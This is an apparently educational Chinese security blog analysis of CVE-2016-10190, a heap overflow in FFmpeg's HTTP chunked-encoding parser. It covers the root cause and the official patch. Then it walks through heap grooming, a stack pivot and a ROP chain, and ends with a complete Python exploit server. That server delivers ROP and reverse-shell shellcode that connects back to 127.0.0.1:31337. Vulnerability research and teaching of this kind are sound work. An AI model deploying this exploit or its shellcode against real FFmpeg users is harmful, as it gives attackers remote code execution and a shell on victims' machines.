作者:栈长@蚂蚁金服巴斯光年安全实验室
来源:阿里聚安全

1. 背景

FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文对CVE-2016-10190进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。

2. 漏洞分析

FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考这篇文章

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 03 May 2015 17:25:23 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

1f
HW(/IJ

0

漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize 的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让 chunksize 等于-1, 那么最终传递给 httpbufread 函数的 size 参数也是-1。相关代码如下:

s->chunksize = strtoll(line, NULL, 16);

av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
s->chunksize);

if (!s->chunksize)
return 0;
        }
        size = FFMIN(size, s->chunksize);//两个有符号数相比较
    }
//...
read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去

而在 httpbufread 函数中会调用 ffurl_read 函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到 tcp_read 函数中,函数里调用了 recv 函数来从 socket 读取数据,而 recv 的第三个参数是 size_t 类型,也就是无符号数,我们把 size 为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值 0xffffffff,从而导致缓冲区溢出。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h->priv_data;
    intlen;
    /* read bytes from input buffer first */
    len = s->buf_end - s->buf_ptr;
    if (len> 0) {
        if (len> size)
            len = size;
        memcpy(buf, s->buf_ptr, len);
        s->buf_ptr += len;
    } else {
        //...
       len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的
static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h->priv_data;
    int ret;

    if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
        //...
    }
    ret = recv(s->fd, buf, size, 0);    //最后在这里溢出 

可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。

官方修复方案

官方的修复方法也比较简单明了,把 HTTPContext 这个结构体中所有和 size,offset 有关的字段全部改为 unsigned 类型,把 strtoll 函数改为 strtoull 函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的链接

3. 利用环境搭建

漏洞利用的靶机环境

操作系统:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。)

4. 利用过程

这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。

首先我们需要控制返回的 Http header 中包含 transfer-encoding: chunked 字段。

headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Transfer-Encoding: chunked

"""

然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去

    client_socket.send('-1\n')
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")
    sleep(3)    #这里 sleep 很关键,后面会解释
    client_socket.send(payload)

下面我们开始考虑 payload 该如何构造,首先我们使用 gdb 观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk 的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路:

思路一:覆盖top chunk的size字段

这是一种常见的 glibc heap 利用技巧,是通过把 top chunk 的 size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制 malloc 的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。

思路二:通过unlink来任意地址写

这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。

思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体

如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈,avio_read->fill_buffer->io_read_packet->…->http_buf_readavio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖 AVIOContext 这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被 malloc 的先后顺序,以及 mallocAVIOContext 的时候的堆布局是怎么样的。

int ffio_fdopen(AVIOContext **s, URLContext *h)
{
    //...
    buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext
if (!buffer)
    return AVERROR(ENOMEM);

    internal = av_mallocz(sizeof(*internal));
    if (!internal)
        goto fail;

    internal->h = h;

    *s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,
internal, io_read_packet, io_write_packet, io_seek);

ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配 AVIOContext 的。程序在 mallocAVIOContext 的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让 AVIOContext 跑到溢出 chunk 的后面去了。由于 http_open 是在 AVIOContext 被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的流程图)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值 malloc 一段内存来保存。所以我们可以任意填充 Content-Type 的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下:

headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: %s
Transfer-Encoding: chunked
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

其中 Set-Cookie 字段可有可无,只是会影响溢出 chunk 和 AVIOContext 的距离,不会影响他们的前后关系。

这之后就是覆盖 AVIOContext 的各个字段,以及考虑怎么让程序走到自己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s->read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX 等寄存器,接下来就是考虑怎么 ROP 了。

static void fill_buffer(AVIOContext *s)
{
    intmax_buffer_size = s->max_packet_size ?  //可控
s->max_packet_size : 
IO_BUFFER_SIZE;
    uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?
                          s->buf_end : s->buffer;   //控制这个, 如果等于s->buffer的话,问题是 heap 地址不知道
    intlen             = s->buffer_size - (dst - s->buffer);   //可控

    /* can't fill the buffer without read_packet, just set EOF if appropriate */
    if (!s->read_packet&& s->buf_ptr>= s->buf_end)
        s->eof_reached = 1;

    /* no need to do anything if EOF already reached */
    if (s->eof_reached)
        return;

    if (s->update_checksum&&dst == s->buffer) {
        //...
    }

    /* make buffer smaller in case it ended up large after probing */
    if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {
        //...
    }

    if (s->read_packet)
        len = s->read_packet(s->opaque, dst, len);

首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前 stack, 可以看到栈上正好有我们需要的堆指针,指向 AVIOContext 结构体的开头。接下来只要想办法找到 pop rsp; ret 之类的 rop 就可以了。

pwndbg> stack
00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...
01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58
02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6
03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000
04:0020│      0x7fffffffd8e0 ?— 0x8000
05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')
06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...
07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]

把栈迁移之后,先利用 add rsp, 0x58; ret 这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于 plt 表中有 mprotect, 所以可以先将 0x400000 地址处的 page 权限改为 rwx,再把 shellcode 写到那边去,然后跳转过去就行了。最终的堆布局如下:

放上最后利用成功的截图

启动恶意的 Server

客户端连接上 Server

成功反弹 shell

最后附上完整的利用脚本,根据漏洞作者的 exp 修改而来

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/python
#coding=utf-8

import re
importos
import sys
import socket
import threading
from time import sleep

frompwn import *


bind_ip = '0.0.0.0'
bind_port = 12345


headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: %s
Transfer-Encoding: chunked
Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

"""
"""

elf = ELF('/home/dddong/bin/ffmpeg_g')
shellcode_location = 0x00400000
page_size = 0x1000
rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
pop_rdi = gadget('pop rdi; ret')
pop_rsi = gadget('pop rsi; ret')
pop_rax = gadget('pop rax; ret')
pop_rcx = gadget('pop rcx; ret')
pop_rdx = gadget('pop rdx; ret')
pop_rbp = gadget('pop rbp; ret')

leave_ret = gadget('leave; ret')
pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')
push_rbx = gadget('push rbx; jmprdi')
push_rsi = gadget('push rsi; jmprdi')
push_rdx_call_rdi = gadget('push rdx; call rdi')
pop_rsp = gadget('pop rsp; ret')
add_rsp = gadget('add rsp, 0x58; ret')

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

mprotect_func = elf.plt['mprotect']
#read_func = elf.plt['read']



def handle_request(client_socket):
    # 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

    # 0x010ccd95: push rbx ;jmprdi ;  (1 found)
    # 0x00d89257: pop rsp ; ret  ;  (1 found)
    # 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)
    request = client_socket.recv(2048)

    payload = ''
    payload += 'C' * (0x8040)
    payload += 'CCCCCCCC' * 4

    ##################################################
    #rop starts here
    payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext
    #payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:
    payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值

    payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s->read_packet(opaque,dst,len)
    payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax
    payload += 'BBBBBBBB' * 3 #0x38
    payload += 'AAAA' #0x50 must_flush
    payload += p32(0) #eof_reached
    payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0
    payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk
    payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi
    #payload += p64(push_rdx_call_rdi) #0x70
    payload += p64(1) #0x70: update_checksum
    payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

    # realrop payload starts here
    #
    # usingmprotect to create executable area
    payload += p64(pop_rdi)
    payload += p64(shellcode_location)
    payload += p64(pop_rsi)
    payload += p64(page_size)
    payload += p64(pop_rdx)
    payload += p64(rwx_mode)
    payload += p64(mprotect_func)

    # backconnectshellcode x86_64: 127.0.0.1:31337
    shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
    shellslices = map(''.join, zip(*[iter(shellcode)]*8))

    write_location = shellcode_location
    forshellslice in shellslices:
        payload += p64(pop_rax)
        payload += shellslice
        payload += p64(pop_rdi)
        payload += p64(write_location)
        payload += p64(mov_gadget)

        write_location += 8

    payload += p64(pop_rbp)
    payload += p64(4)
    payload += p64(shellcode_location)


    client_socket.send(headers)
    client_socket.send('-1\n')
    #raw_input("sleep for a while to avoid HTTPContext buffer problem!")
    sleep(3)
    client_socket.send(payload)
    print "send payload done."
    client_socket.close()


if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    s.bind((bind_ip, bind_port))
    s.listen(5)

    filename = os.path.basename(__file__)
    st = os.stat(filename)

    print 'start listening at %s:%s' % (bind_ip, bind_port)
    while True:
        client_socket, addr = s.accept()
        print 'accept client connect from %s:%s' % addr
        handle_request(client_socket)
        if os.stat(filename) != st:
            print 'restarted'
            sys.exit(0)


5. 反思与总结

这次的漏洞利用过程让我对 FFmpeg 的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。

在 pwn 的过程中,阅读源码来搞清楚 malloc 的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个 malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。

6. 参考资料

1 https://trac.ffmpeg.org/ticket/5992
2 http://www.openwall.com/lists/oss-security/2017/01/31/12
3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
4 官方修复链接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa
5 https://security.tencent.com/index.php/blog/msg/116
6 Transfer-encoding介绍:https://imququ.com/post/transfer-encoding-header-in-http.html
7 漏洞原作者的 exp :https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6
8 FFmpeg源代码结构图:http://blog.csdn.net/leixiaohua1020/article/details/44220151
9 https://docs.pwntools.com/en/stable/index.html


源链接

Hacking more

...